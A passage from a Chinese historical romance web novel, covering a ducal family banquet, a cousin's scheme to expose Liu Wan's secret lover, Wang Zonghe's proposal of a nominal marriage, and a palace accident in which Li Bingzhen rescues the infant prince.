刚入秋,他的衣衫就比别人厚了两层。 清蕴最先察觉到不对。 李秉真煮茶时,清蕴突然摸向他的手,几乎和冰块差不多,刺得她眉头飞快皱了下。 “是不是那些药失效了?找张大夫诊脉,重新开个方子?” “不必。” 施针的痛楚都忍过来了,这点凉意不算什么。只是张颖对他说,那几味药中有一味找不到现成的,要等明年五月的成熟期,着人去守着采摘。 一味药延误了,不至于影响整体疗效,但贻误时间是必然的。张颖叮嘱他在这期间尽量注意身体,连受凉也最好不要有。 李秉真以往不在意这些,因张颖的嘱咐,今年就一反常态地早早换上厚衣。 清蕴猜得出他和张颖有事在瞒自己,但介于李秉真近两个月身体越来越健康有力,如今仅仅是凉些,就没有深究。 因为不用问,她也能感觉到李秉真的变化。 曾经连和家人都很少交际的人,如今学会了每隔三五日就去问候隔壁的大长公主,不是燃起了对生的欲求,又是什么? 反正只有夫妻俩在房中,清蕴没管女使们诧异的眼神,直接让她们烧起薰笼。 在薰笼的热意熏烤下,李秉真的手终于慢慢热起来。 “明晚父亲摆家宴,人多,时间也长,一时应该结束不了。我让她们备个小手炉,可以藏在袖间,凉了就换。” 齐国公很重家族,大长公主还在府里时,因她不大喜欢交际,也不希望旁人打扰儿子休养,很少在府里宴请别人。李家族亲有事摆宴,也大都是派人送礼了事,由此和各家亲戚就慢慢淡了关系。 如今齐国公有意把亲友情谊重新捡起来,决定在中秋之间摆一场家宴,邀请李氏家族一些在京中又熟悉的人来吃饭。 李秉真作为世子,现在身子又好了许多,肯定不好回避。 她考虑周到,李秉真自然说好。 到了第二天,清蕴一早就开始忙碌,根据参宴人员设座、定席,不过忙的主要还是管家,她主要负责最后定主意。 这场家宴,不止是齐国公有意和族亲重聚,也是想叫两个儿子和家里人多熟悉熟悉。 他居主座,李秉真夫妻和李审言则位于左右。 第48章 家宴 李家发迹于冀州, 主家不在京城。 齐国公李德也是地道冀州人氏,当初李家主家的掌权人为一员猛将,统领冀州十五万兵马。他很崇敬这位堂伯父,自幼跟随家中兄弟习武练兵, 后来机缘巧合到了京城, 凭一次次的军功高升封侯、尚公主, 再晋升国公。 因他的缘故, 李家陆续有不少人从冀州来到京城。同宗之间互相照顾是常情,奈何大长公主不好交际, 从始至终对他们不冷不淡。 齐国公这次举宴,邀请的族人但凡有空都来了。 清蕴提前看过名册,对来客了如指掌。除去齐国公,李家真正有分量的大都在冀州,迁到京城的, 没几个身居高位。 其中值得注意的大概就是齐国公一位堂弟, 如今任兵部员外郎,他的女儿嫁给了兵部尚书孟集的三子。如果说其中没有公爹的关系,清蕴决不相信。 她想, 公爹定和这位堂弟关系很好,安排座位时,也有意把这对夫妇放在前列。 等宴席开始时,果然看见齐国公频频和其交谈。 李家人尚武, 绝大多数男子都是武将, 个个身形高大健硕。常年风吹日晒下, 肤色也是麦黄, 如李秉真这样面如白玉、文质彬彬的儒雅君子位于其中,就显得很突出。 席间不论年纪大小, 但凡是女子,就没有不多看李秉真几眼的。 看完他,再看他身边美丽娴静的清蕴,都要夸赞两句佳偶天成。 夫妻俩笑着一一领受了。 但在这场宴会中,更加如鱼得水的是李审言。武将和武将之间总是更容易打交道,他从前在卫所,如今统领旗手卫,外人不屑他的手段,李家却有不少佩服他的同龄人。 在父兄面前桀骜不驯的人,交际起来竟也有把手段,不多时就和不少人称兄道弟。 灌了一肚子酒,他回到位上,稍抬眼就瞧见对面的兄嫂在轻声言语。二人举止亲昵,但不显轻浮,任谁都能看出是对感情极佳的小夫妻。 临近中秋,每桌都摆了几枝剪下的银桂。雪白动人的桂花在侧,竟都不及他们的容光。 他们倒很悠闲。 李审言忽然举杯离座,来到对面,“我敬大哥。” 李秉真看向他,从他被酒气熏得微红的脸上没有看出什么特别神情,也知道父亲在关注着兄弟倆。 “我不能饮酒,就以茶代酒回敬了。”李秉真淡道。 李审言说好,先一饮而尽。身后的阿宽赶紧添满酒杯,他转向清蕴,“再敬嫂嫂,这阵子在家中,多亏嫂嫂照顾。” 清蕴顿了下,轻轻回一声“应该的”,举起面前酒杯。 借抬手喝酒的动作,李审言余光在盯着她。他注意到,她饮酒的动作十分流畅,整杯入腹也没有丝毫异样,脸颊依旧莹润,目光依旧清明,可在放下杯子时,却做出了不胜酒力的模样。 他轻哂,知道她是故意如此,好转移李秉真的注意。 果然,李秉真见状就去关心妻子了,不再注意李审言敬酒的行为。 李审言想,他的好大哥到底是喜爱得太深,还是完全被对方玩弄于股掌之间呢? 三人各喝完一杯,全程默默围观的齐国公没察觉到暗流汹涌,只欣慰于兄弟二人经过一段时间的相处终于能主动说上话了,暗道一声“好”字,心情畅快地又饮了许多。 这场家宴在齐国公心中办得十分圆满,没见太夫人脸上都溢满笑容么? 若是大长公主还在……刚冒出这个想法,齐国公就强行摁了下去。 多思无益,她下定决心的事都没有转圜余地。说和离,她就是真把他抛下了,所以这段时间对他的拜帖都视而不见。 既然如此,他更该经营好如今的家。 宴席散时,李审言和族中一些叔伯兄弟都熟悉起来,还和人约好下次比武的时间。 等陈危来把齐国公扶走,李审言对这个天生神力的少年多看了几眼,拒绝了阿宽的搀扶,以散酒气的名义,独自在廊下慢走。 走着走着,不自觉到了常待的地方。 回住处也没什么事,无非是上榻歇息。李审言一人又随心所欲惯了,常常入夜后不老实待在榻上,而是随意找个地方睡觉。 酒坊、赌场这等人声鼎沸的地方更受他青睐,但偶尔想要清静时,也会找一棵树,或者去屋顶待着。 齐国公这会儿正呼呼大睡,书房黑幽幽,并不是盯梢的时间,他还是一跃到了树干,凝望了会儿夜空。 随后,视线不经意地下移。 先入眼的是熟悉的葡萄架,被风灯照出大致轮廓,再往左,就是月舍的屋子。 国公府建造房屋的用料都是上乘,自然不可能像营帐那样,能透过窗户看清里面的人影。李审言只能看到月舍灯火通明,偶尔会有女使在主屋进出,大概在服侍二人。 其实看不到什么,李审言自认为也只是到树上静静心,散散酒气。 他自幼精通攀爬,这是从小养成的习惯。 小窗被推开时,李审言的目光跟着转了过去,这一看,不由怔住。 她应是刚卸了发髻钗环,长发披散,临窗欣赏夜景。 今夜星光黯淡,唯有一轮明月闪耀。她看着看着,不自觉倚在窗边,随手拿了把木梳,慢悠悠地通发。掩在乌黑秀发下的,是一张在夜里依旧白到发亮的脸。 巴掌大小,镶嵌了一双温柔多情的桃花眼,琼鼻,红唇。像家宴上一些人奉承的那样,宛如仙子。 李审言没再看那张脸,稍稍敛目,聚精会神地对着面前虬结的树枝。 目光离了,还有敏锐的嗅觉。 分明隔了很远的距离,李审言却仿佛闻到被晚风拂来的长发幽香。 他没能继续待下去,直接跳下了树。 ** 齐国公府摆家宴的同时,柳家也办了场小家宴,为柳阁老庆五十八岁寿辰。 因不是整寿,柳阁老也不想高调,就只请了家里人。 王宗赫作为柳阁老准孙女婿和器重的下属,也在受邀之列。 柳晚的父亲是柳阁老幼子,她又是家中最小的姑娘,本身就在柳阁老这儿备受宠爱。在家宴上,柳家人感觉,这位准孙女婿的地位竟比长孙还要更高一些,座次被安排得紧贴阁老,惹得几个孙子都酸溜溜的。 但即便没有柳阁老,王宗赫本身的家世、才华就足够出众,单独拎出来,京中确实没几个世家子弟能比得过她。 柳阁老到这个年纪,在家最喜欢做的事就是考校小辈,儿子们大了,注意力就转到孙子们身上。 喝过几杯酒,他指节敲在黄花梨桌面上,突然笑了下,“我在吏部待了这些年,你们平时耳濡目染,应当对吏部的事有所了解。” 孙子们立刻绷紧头皮,知道老爷子要提问了。 “今日问问你们吏部铨选章程。”柳阁老微笑道,“若山西道监察御史突发急病亡故,当如何递补?” “回祖父,依《天泽铨法》当由都察院会同吏部考功司”长孙柳文靖答得还算流畅,“三品以上需经廷推” 他答完了,柳阁老没点评,看向其他孙子。 有人效仿大哥柳文靖,内容答得差不多,只用词不同。有人磕磕绊绊,不知所云。也有人直接低头说不清楚。 柳阁老又道:“若亡故的是景德六年进士呢?” 柳文靖愣了会儿,额角渗出细汗,不知此问何意。 他在柳家孙辈中学问最出色,对此都一时找不到思路,其他人就更别说。 柳阁老自然而然转向王宗赫。 王宗赫思索片刻,道:“景德六年殿试由先帝亲策,同年中现有七人任监察御史。若突然病故,当优先调任同科进士,方可避免结党之嫌——正如三年前汉阳知府丁忧时的处置。” “接着说。” “下官见过此类案卷。”王宗赫道,“天泽八年景州监察御史坠马身亡,吏部选了他同年的沧州知县替补,结果那人竟是御史表侄的姻亲。故而下官以为,当查清门生故旧,再” 柳阁老:“若让你选人接任,要考量哪些?” “一察籍贯,二核师承,三验任地。”王宗赫语速渐快,"譬如不能选祖籍山西道者,不可用与前任有同窗之谊者,最好调任过三个行省" 柳阁老耐心听完,目中赞许之意愈盛,最后颔首,“那些卷宗没白看。” 随后对孙子们道:“克衡不比你们年长几岁,胜过你们的不仅是天资,更因他勤勉。立大事者,不惟有超世之才,亦必有坚韧不拔之志。可记住了?” 小辈们齐齐应声。 其他人怎么想不清楚,柳文靖是当真佩服王宗赫,思及对方就快成为自己堂妹夫,更添亲近。 王宗赫显露才能,柳晚父母十分高兴,越看准女婿越满意。 柳母私下叮嘱女儿,万不可在对方面前使性子,婚期还有一年,让她在这段时间和王宗赫好好培养感情。 柳晚听得不耐烦,面上嗯嗯应声,内心很是敷衍。 在堂姐柳照把茶水洒到自己衣裙时,柳晚斜睨她一眼,也不管她是故意还是不小心,干脆借这个机会离席更衣。 秋夜生凉,走到廊下时,柳晚抬首望了眼月,好似在上面看到了情郎身影,顿时痴住。 几息的功夫,她摇摇头,让自己不再想此事。 祖父最疼爱她,当初亲口应允她,夫婿可由她自选。祖父一言既定,柳晚自然当真,还真在踏青时看上了一个尤姓书生。 那书生家世平平,学问其实也一般,今年科举都没得名次。柳晚不在意这些,她本身就是天之骄女,行事也强势,喜爱的就是对方温文尔雅的举止和万事都可包容的性子。 本来想趁祖父生辰时提出,谁知道,祖父突然要把她许给礼部王尚书的孙子。 祖父有令,父母自然不会违背,就连她,在探过祖父口风后,也知道不大可能改变他的主意。 尤郎,我们今生只能无缘。柳晚转头踏进了住处。 她的院子一般都有婆子看守,还有两个贴身女使照顾。柳晚在房里换了身衣裳,听到窗户外的声响时,还当是野猫路过。 随后听到熟悉的声音,登时不可置信,几步开窗。 “你是如何来的?!”她压低声音质问。 尤衡张了张嘴,“你身边人告诉我,你为拒婚而自尽,说你想见我……” 话落,两人齐齐意识到不对劲。 尤衡反应过来,以她骄傲的性格,岂会做出自尽这种傻事?他关心则乱,竟没发现蹊跷。 柳晚则是意识到身边有人被收买,故意在今日引尤衡来,是为了害她! 她脑海中立刻浮现了一个人名,柳照。 这个堂姐比自己大一岁,按理来说本该是她先定亲。半年前,柳照确实准备说一门亲事,可男方一看到柳晚,就直道有意于她,只想娶她。 亲事就此罢休,本就看她不顺眼的柳照愈发针对她。 后来,祖父流露出要和状元郎结亲的意思,也是因为偏爱自己,越过柳照,把王宗赫定给了最小的她。柳照为此多有酸言,柳晚都没太在意,现在想来,可能柳照一直就在暗暗盯着自己,发现尤衡后,就定下了今晚毒计。 电光火石间,柳晚立刻出声让尤衡离开。 她名声受损不算什么,只怕祖父不会留尤衡性命。 但时机已晚,柳照在她离席后没多久就跟了上来,为的就是能够亲手“捉奸”,让祖父和王三公子看清柳晚的真面目。 第49章 你我成婚,在这期间只做名义夫妻 越激动, 柳照表面越镇定,装作关心表妹的模样一路来到柳晚住处。 当她看到窗畔的模糊人影时,就知道自己计策成功了,立刻在内心惊喜出声。 事实上, 她也的确叫出了声。 所有人都被她的尖叫唬了一跳, 女使、婆子们顺着视线看去, 当然不会忽略那道鬼鬼祟祟的人影。 婆子们撸起袖子, 立刻气势汹汹地走去,惊讶地发现这竟是个看起来面白体弱的年轻人, 做的书生打扮。 尤衡想离开,可他哪敌得过膀大腰圆、力气极大的婆子,步子还没迈开就被捉住衣袖拉了过去,紧接着双手被反剪,制倒在地面。 柳晚微微握拳, 知道他走不掉了, 转而冷眼看向柳照。 柳照暗自兴奋。 她一直嫉恨堂妹,论相貌,她知道自己比不过对方。但论孝顺、聪慧, 她做得比柳晚不知好多少,祖父就是偏心! 尤衡不想连累柳晚,自认小贼身份,想来偷东西。 柳照哼笑, “那你这个贼人倒是大胆, 敢来柳家偷东西, 还偷到女子闺房来了。” 闺房一词在此刻被说出, 有种说不清道不明的香艳。下人们都不傻,立刻领会了四姑娘的意思。 怕不是偷东西, 而是偷人罢。 一时间,各式目光悄悄在尤衡和柳晚之间流转。 “妹妹别怕,我已着人去请了祖父他们前来,定要好好审审这个小贼,竟能摸到你的院子,说不定是家中出了内贼。” 柳晚绷着脸一言不发,她知道,柳照肯定做好了万全准备,和她争论没有意义。 传话的女使匆匆穿过游廊,往前院走。 前院,宴席正至尾声。柳阁老大悦,多喝了几杯酒,这会儿正由长子搀扶着。 他想留王宗赫住一晚,开口道:“克衡……” 话未落,女使脆生生的声音响起,“五姑娘在西院花厅煮了茶,请各位主子移步,前去品茗赏月。” 赏月是风雅事,柳阁老偏好此道,作为他最喜欢的孙女,柳晚确实会时常如此。 这就是柳照的小聪明了。如果她直接说在妹妹院子里抓到了賊,为了柳晚声誉,不管真假,长辈们都只会派两个能主事的人去处理。 可说在花厅赏月,柳阁老八成会邀王宗赫一起。 柳照猜得很对,王宗赫推辞不过,跟着柳家人往花厅去。 柳文靖走在他身边,向他讨教平时所读书籍。 王宗赫没有藏私,详细道出书单,在柳文靖的好奇下,把作息也说得清清楚楚。 得知他从开蒙起,看过了上千本书,备考期间每天都要读书至少五个时辰,还要抽空练武强身,柳文靖很佩服他的刻苦,笑道:“晚儿自幼受祖父教导,也喜欢看书,以后你们不愁无话可聊了。” 王宗赫没回这话,柳文靖当他过于君子,不愿在未成亲前谈论妹妹的事,适时住口。 未到花厅,王宗赫眉头隐隐皱起,太静了,附近竟没有仆从来往。 其他人边走边说话,一时未察觉不对劲。等看到花厅外的院子里站了几个婆子,中间跪着一个被五花大绑的人,不由茫然。 这是什么状况? 他们看向站在阶上的姐妹俩。 柳照既然扯谎引来家中诸位,这时候就不怕再出头,主动出面,解释刚才发生了何事。 她用词委婉,可家里谁听不明白这是在暗指柳晚与情郎幽会? 柳晚父母脸色阴沉,既恨柳照不懂事,在这么多人面前不给女儿留面子,也气女儿不够谨慎,竟在今晚和人幽会。 今晚是什么日子,就不能忍忍吗! 他们怕柳阁老发怒,也怕准女婿一气之下要退婚。 柳阁老面色平静,谁都看不出他的想法。王宗赫迅速从这对姊妹的神色中猜出整件事的始末,心中微动。 柳文靖作为家中所有小辈的兄长,则是气愤于堂妹行事放浪,竟在外人面前闹出这等丑事。他才高兴于将有王宗赫这等妹夫,恐怕很快就要没了。 柳阁老的目光投向跪在地面的年轻男子,面容俊秀,虽然跪着,从眉宇和神态间也能隐约看出是个生性内敛温和的读书人。 是晚儿会喜欢的类型。 柳父问话,尤衡坚持道自己家中贫穷,故铤而走险来偷盗,胡乱走到此处。 柳阁老闻言失望。 不是个聪明人。 柳父才不考虑这些,碍于在下人面前,只吩咐把此人关进柴房,明早押送官府,内心已经暗暗判了此人死刑。 等人进了牢狱,凭柳家权势,还不是怎样都行。 柳晚抿唇,没有在此时做出举动,想待会儿去找祖父求情。 柳照不大满意这场景,她想当面揭穿柳晚,就是想看堂妹被长辈们唾骂,好解心头之恨,结果就这么不痛不痒地揭过? 刚要开口,柳照父亲的眼风就轻飘飘扫了过来,其中暗含的威严让柳照瞬间僵住。愣住片刻,她终于意识到家里人并不想把这件事摆在明面上。 察觉女儿终于消停,柳照父亲收回眼神。女儿不及侄女聪慧,所以不得父亲欢心,他一直不以为意,毕竟只是个姑娘,无大错就好。没想到她因嫉恨姊妹,竟能主动扬家丑,这是犯了大忌。 回头必须带她向父亲请罪。 略问了几句话,定下尤衡“偷盗”的罪名,随着他被带走,众人也没了赏月的心思。 赏月?父亲/祖父没赏他们耳光就足够庆幸了。 问题在于场中唯一的外人。 好些目光作不经意状在王宗赫脸上溜过。 柳阁老出声,让王宗赫陪自己走走。 众人领会其意,各自散了,王宗赫则跟在阁老身后。 慢悠悠走了阵子,柳阁老道:“克衡,你年纪不小了,晚儿突然生这场病,还不知要耽搁到什么时候。若是你不想等,我们也不会怪你,回去和你祖父说一声,两家择日退亲。” 柳阁老年轻过,知道年轻人多有傲气。他越欣赏王宗赫,越不会硬逼人娶孙女,如此是结仇而非结亲。 不管今晚有何内因,王宗赫都会介意晚儿和尤衡的关系。 王宗赫沉默一阵,“阁老,下官想和五姑娘单独说几句话。” 柳阁老讶异地看过去,而后允了。 …… 柳晚被传来祖父书房,心中惴惴,以为要挨骂了,刚进房就想跪下,结果瞧见的是王宗赫。弯了一半的膝盖僵住,慢慢直起。 “王公子。” 王宗赫颔首,请她坐下,单刀直入地问:“柳姑娘可是和那位尤公子情投意合?” 柳晚:“……” 问得这么直接是什么意思?要骂她不守女德?还是想劝她回心转意? 柳晚没说话,暗自观察对方神色。可王宗赫本来就沉稳,官场历练了阵子,更不会轻易叫人看穿。 “我没有他意,只希望柳姑娘能如实告知。”王宗赫停顿,“也是不想看到意外发生。” 被戳中要害,柳晚静默,而后道:“我与他发乎情、止乎礼,不曾有越矩。” 她以为王宗赫担心的是这个,但王宗赫只是想确定他们的关系,不曾在意话中含义,“阁老和令尊令堂都不同意?” 柳晚摇头,“今晚之前,他们都不知道。” 当然,现在知道了也不可能同意。 王宗赫明白她的意思,“倘若我有办法让你二人终成眷属,柳姑娘可愿配合?” 柳晚猛地看他,“什么意思?” 王宗赫:“你我成婚,在这期间只做名义夫妻。待到时机成熟,我会想办法成全你们。” 这是王宗赫在意识到柳晚心有所属且和情郎无法厮守后,瞬间冒出的想法。 早在十多年前,他就给自己定下目标,其中之一是娶清蕴为妻。如今清蕴已经嫁给他人,目标不可能再完成,他也对成家这件事失去了兴趣,只想专心仕途。 他本性如此,不是心中所盼,就很难勉强。 之前碍于阁老结亲之意来得突然,长辈又施压,一时无法拒绝,才不得已定亲。他本来在思考,如何能够退掉这门亲事又不伤两家颜面,最好还能够借此了却长辈给他说亲的心思。 突然遇到这件事,他意识到,这是更好的机会。 总比他伪装自己不能人道要好。 若不然,家中还要想方设法为他求医。 柳晚:“……” 她脑海中飞快闪过诸多猜测,譬如王宗赫有隐疾,或者他和自己一样,有个不能在一起的姑娘。 可是男子和女子不同,就算不能娶为妻子,还能纳妾。所以这条被柳晚否了。 紧接着她甚至想,这人难道是好男风?拿自己做遮掩? 如果是这样,那他之前和自己定亲,简直太过分! 柳晚一会儿目光闪烁,一会儿柳眉倒竖,神情隐隐的变幻都让王宗赫猜得到她在想什么,淡道:“原因你不必知道,只告诉我愿不愿意。只要你应下,我立刻去请阁老放过尤公子。” 柳晚:“我凭什么信你?” “我可以立下字据,盖私印,承认自身有隐疾。若时机成熟却毁约,你尽可宣扬出去。” 柳晚挑眉,他刚考中状元,进了吏部,得祖父器重,前途不可限量,传出这种名声可不利于仕途。不管原因是什么,敢立这种字据,足以说明诚心。 “你现在就写。”柳晚放弃了探究真相。 王宗赫:“我未带私印。” 柳晚笑了笑,“字迹也作不得假,你先写,改日再盖印。” 王宗赫审视她片刻,当真走到案前提笔。 ** 随着季节往冬走,天儿愈发寒冷,以清蕴的身体底子都病了一场,更别说李秉真。 他每日裹得严实,在清蕴的叮嘱下随身揣着暖炉,连翰林院都告假不去了。饶是如此,依旧在某日夜里突然发热,陷入半昏迷。 张颖沉着脸来,为李秉真切脉许久,长长舒出一口气,“还好,还好是药效所致,我给他换个药方,年前静养一阵子就能好。” 清蕴亲自送张颖到屋外,忍不住问:“张大夫最近半年到底在用什么药?” 瞧她神态,张颖就知道世子没如实告知。既如此,他也不会主动戳破,含糊道:“在试一种新药方,看能不能彻底清除余毒,期间激起毒性也有可能。” “即是说并没有十足把握,风险还不小,是吗?” 张颖正色,“任何事,在下都不敢说有十成把握。” 清蕴深深看他,随后恢复柔和,“好,我和世子一样,信您。” 张颖面色有几分不自然,没应这句话,与她告别后离开。 好在躺了半个月,李秉真突如其来的虚弱就好了。身体消瘦一些,精气神却更足。 年关将至,他画兴大发,亲手提笔给清蕴作了几幅画,葡萄架下沐浴阳光、临窗看书、倚榻小憩。有些时候,清蕴都不曾意识到自己露出的神情也被他捕捉,留存在画纸。 这是夫妻俩的恩爱,画裱起来也只会留在寝室,外人不曾得见,但齐国公也听说了这件事。 因此在离除夕还有十日的当口,他犹豫问长子,“少思若得空,可否为我们阖家作幅画?” 他说的阖家,自然是太夫人、他、李秉真夫妇和李审言。 李秉真沉默了下,没答。 齐国公忙道:“不画也没事,作画毕竟费精力,还是多歇息。” 大约被他这小心翼翼的态度所触动,李秉真终于开口,“我这几日在画母亲和琪瑛,除夕前一日才有空。” “可以,可以,多休息一阵子也没事,反正我们随时都在,不赶过年。”长子能应下这个请求,齐国公已经很高兴了。 他自觉,这对兄弟之间的坚冰正在逐渐融化。 李秉真朝父亲笑了下。 除夕前一日,他应约让藏翠去请家人,作画地点就选在花圃。 老夫人独坐软椅,本该由齐国公立于她的正后方,两子一左一右。但齐国公私心想让兄弟俩靠得更近,便站在了左后方,身侧捱着李审言,李审言旁边空出一人的位置,再往右便是清蕴。 太夫人神情端庄,齐国公努力保持笑容,李审言则漫不经心,期间左顾右盼,被齐国公训斥了几声。 清蕴则是最安静的那个,笑得也最自然。 李秉真凝目观察了许久,再慢慢提笔。 他作画不能连续超过一个时辰,时常要停下来歇息片刻。太夫人和齐国公很理解,但凡他有要求,无不照做。至于李审言,他不想配合也得配合。 最终跃然纸上的神态和每个人展露出的差不多,虽然齐国公发现,儿子画儿媳和母亲的笔触明显要细腻许多,无论是五官、发丝、衣裙都要更生动,到了他和二子,就有种为了不破坏整幅画而稍微用点心的感觉。 即便如此,他仍旧十分满足,最后拿到画时险些红了眼眶。 第50章 明年陪你去赏灯 清蕴嫁进齐国公府后过的第一个除夕, 还算平静而精彩。夫妻俩吃了两家年夜饭,国公府用罢再去隔壁大长公主府。大长公主那儿人数少,可也不冷清,母女俩提前备了许多舞乐节目, 光府里侍卫耍枪也能看个小半时辰。 守岁的后半夜, 京城焰火依旧不止。清蕴和李秉真互相依偎在一把太师椅上, 身上盖着厚厚的毯子, 椅前置放炭火,不算暖和, 也不至于寒冷。 一重又一重绚丽焰火在空中绽放,彼此脸上的光线明暗起伏。 清蕴赏够焰火,低头和李秉真对望,两人同时呵出一口白气。 李秉真:“会不会冷清了些?” 月舍中家在附近的,都被他们放回去过年守岁了, 现在留下的就是夫妻俩、白芷和藉香。 白芷、藉香被他们劝出门去赏灯逛街, 连陈危也去别庄陪他的叔父了。 “我喜静。”清蕴靠在他肩上,捏住他修长清瘦的手把玩,“有你陪着就行。” 李秉真看着小妻子雪白漂亮的脸颊, 听着她温柔动人的话语,没有饮酒也不自觉醉了。 “明年陪你去赏灯。”李秉真知道她体贴,也更希望能给她一个健康的夫君,让她能够不必顾忌自己而总待在家中。 清蕴弯眸, “好。” 正月期间最紧要的一件事是走亲戚, 平日里没时间或不方便的, 这时候互相走走拜拜, 逐渐变淡的感情也能维系下去。 清蕴早就列好一串名单,有些人家就算不亲自去, 礼也要送到。往常大长公主可以忽略,到她这儿不能马虎。 齐国公看过后,对儿媳表示赞许,告诉她都走公账。 “但这其中有些是儿媳自己……” 齐国公笑,“家里就我们几人,不必分得那么清。这点银子,我还是供得起的。” 大长公主和离虽然带走了一批钱财,但齐国公有俸禄,府里也有经营,不至于送个年礼还得儿媳自己掏银子。 清蕴眨眨眼,从善如流地应了。 除去串亲戚,府里的一应用物、常服也该换新了。 李审言这儿也送来了整套的四季新衣,阿宽悄悄看主子试了件白色锦袍,好看是好看,衬得主子身上也终于有了丝文雅气,可袖口那儿是不是短了些? 管家那边许是没料到主子及冠后身长还能有变化,没让人来重新量体,他可不能不懂事。 阿宽转身就想往管家那儿跑,被叫住。 李审言边解衣,边瞥来一眼,“去做什么?” 鬼鬼祟祟盯了他半天就跑,不怪他多想。 阿宽嘿嘿一笑,解释原因。 李审言:“你什么时候和周管家那么熟了?” “公子不知道罢,世子夫人可是当着管家的面明令过,咱们回光堂若有要求,都必须摆在前列,周管家他们可不敢小看咱。”阿宽挺起胸膛。 李审言却记起其他事,“你好像还经常往月舍去,是不是?” 阿宽:“……” 他确实隔段时间就会去向世子夫人禀报二公子的事,可这不能算出卖主子罢。无非是交代主子一般什么时候着家,平日里喜欢吃什么用什么啊。 李审言稍厉了眼神,阿宽就扑通跪地,“世子夫人关心二公子,故常传小的去询问,只是怕府中人怠慢,没有其他。” 阿宽是最常见的那类仆役,能够办事,有些贪财,也颇为胆小。李审言观察过他一阵子,确定他不是哪处派来的内应就没在意,此刻也能分辨真假。 因此听完这句话,李审言像是想到什么,笑了下。 阿宽琢磨他脸色,“那,小的今后就不去世子夫人那了?” “不必。”李审言道,“还是和之前一样,那边问什么,就如实答。” 阿宽懵懂地“哦”了声。 ** 除夕元宵过去,官员休沐也就结束了,李秉真年前请了三月的假,新年刚开始就准时去了翰林院。 新年伊始,其实也没什么正务。院内寒暄过后,翰林学士就挑选二三人,带着他们到六部、大理寺、都察院等官署转一圈,和各衙门联络联络感情,混个脸熟。 都察院主掌官员的监察、弹劾和任职建议,干的活儿大部分都得罪人,不是所有人都会去,翰林院却没这个顾忌,毕竟除李秉真这种特殊情况,翰林院的人几乎个个都有可能到其他衙门任职,没几人会为难他们。像王宗赫,显露才能后,很快被柳阁老亲自要去了吏部,其他有特殊才能的人,也早早就被盯上了。 李秉真被点上随行,他一露面,熟人几乎都能感觉到他精气神的不同。以前多走两步就喘气的人,现在还能跑呢! 工部一位侍郎悄悄问掌管翰林院的卢学士,这位世子如今可有意到其他地方任职。无它,他们馋他一手画图的功夫许久了,眼睛比木尺还厉害,画出来几乎能和原物一模一样。 这不正是适合他们工部的人才? 卢学士笑着摇摇头,他刚才也问过这句话,少思依旧是从前回答,主意不改。 侍郎叹气,要不是这位是大长公主的心头宝,他多少得争取一把。 走走逛逛,小半日也就过去了。李秉真准备归家的当口,正好碰到进宫路上的李琪瑛。 “大哥。”李琪瑛高兴朝他挥手,“我准备去看次奴,你也许久没见姐姐他们了吧,一起去吗?” 李秉真:“后宫不得随意进出,我未提前求见,不好冒然前去。” 李琪瑛觉得兄长太守规矩,他们只去姐姐那儿吃顿饭,很快就走,避开人便是。 许是因为近几个月李秉真的转变,李琪瑛对他的畏惧淡了许多,以兄妹三人许久没聚的理由劝了几句。 李秉真有所意动,他确实有些日子没见长姐。过年时,母亲也让他方便时就去承乾宫走一趟,今天的日子,去了也不算失礼。 “我向娘娘拜个年,饭就不吃了。” 李琪瑛笑眯眯,“都随你。” 兄妹二人一起坐上马车,因永平郡主是宫内常客,守门侍卫压根没查她的马车。 在李琪瑛的叽叽喳喳下,李秉真也知道了一些不曾外传的宫闱事。 宫里多出一位淑妃,对于贵妃来说没区别,在其他宫妃那里还是引起了场小震动。原本建帝去后宫就不勤,新来的淑妃自从侍寝过后,看着还挺得宠,把她们所剩不多的日子都揽走了七八,柳妃也曾忍不住上门探情况。 但淑妃很傲气,基本不怎么搭理其他人,又有贵妃护着,还没闹出过事端。 “姐姐对人家也太好了,不知情者还以为王淑妃才是她亲姊妹呢。”李琪瑛吃味。 李秉真没搭话,李琪瑛自顾自说了半天,倍感无趣,最后闭上嘴。 承乾宫对于李琪瑛而言早已轻车熟路,绕过花圃,她眼尖地发现外面多了好些眼生的侍卫和内侍,登时有了猜测。 定是陛下来了。 李秉真也想到这个可能。 转身就走当然可以,但他人已经走到这,肯定已经有人发现他,回头对建帝禀报,天子还以为他来承乾宫有什么见不得人的事,见了他就避走。 李秉真着人通传,入内后果然见到建帝,先向他请罪。 建帝似乎心情很好,怀抱小皇子在逗弄,宽容地赦免李秉真,“朕与贵妃正好要出去走走,你们一起罢。” 李琪瑛咬唇,看一眼姐姐,跟了上去。 建帝抱着小皇子率先踏出承乾宫,明黄龙靴踩在未化的残雪上咯吱作响。怀里的儿子连一岁都没有,他倒煞有其事地在那儿自顾对话。 李秉真落后半步,走着走着,注意到太常池边的冰面在日光下泛着青白的光,小皇子在建帝怀里轻轻扭动,可那点力道完全撼动不了建帝,甚至没被察觉。 这根本就不是抱孩子的姿势,李贵妃双眼紧盯儿子,又不敢触怒建帝,脸色苍白。 李琪瑛最怕的就是这个,她这些日子来宫里也见过建帝,深知他对待小皇子的随意,每次都要吓得承乾宫众人心跳如鼓,生怕他一个失手给几个月大的小皇子带去危险。 又因之前种种,她早歇了对建帝那说不清道不明的心思,取而代之的是畏惧和淡淡的厌恶。 “次奴想看水鸟?”建帝不知众人的怒不敢言,朗笑着往湖边走去,玄色大氅扫过结了霜的梅枝。 李秉真瞳孔微缩——那处木制围栏不知何时断了两根,露出犬牙交错的裂口。 变故发生在瞬息之间。 建帝走得太快,身形急晃,龙纹皂靴在冰面打滑。李秉真箭步上前时,只听见长姐的惊叫刺破凝滞的空气。 三道身影同时扑向建帝,李秉真、李贵妃和李琪瑛。 终究是李秉真步伐更快一些,但抓住皇子襁褓的瞬间,他后腰也随之撞上断裂的木栏,剧痛如利刃贯穿肺腑。 “大人!”宫人惊呼中,李秉真将小皇子稳稳推回建帝怀中,自己却踉跄跌坐在冰渣里。喉间泛起熟悉的腥甜,他咬牙将血沫咽下,手指深深抠进冰层。 把儿子抢回怀里,李贵妃紧接着看向被人搀扶的弟弟,目中惊色未退,“少思,你如何了?” 建帝也稍稍镇定下来,方才他不是存心要摔儿子。 他再心狠,也不至于亲手杀子。 慢慢站起,李秉真费了会儿忍住喉间痒意,“无事。” 建帝则凝视着他被冰水浸透的官袍下摆,忽而颔首,“少思赤胆忠心,当赏。” 随侍太监捧出描金漆盘,六颗鸽卵大小的紫色丹丸在雪光中泛着妖异光泽。 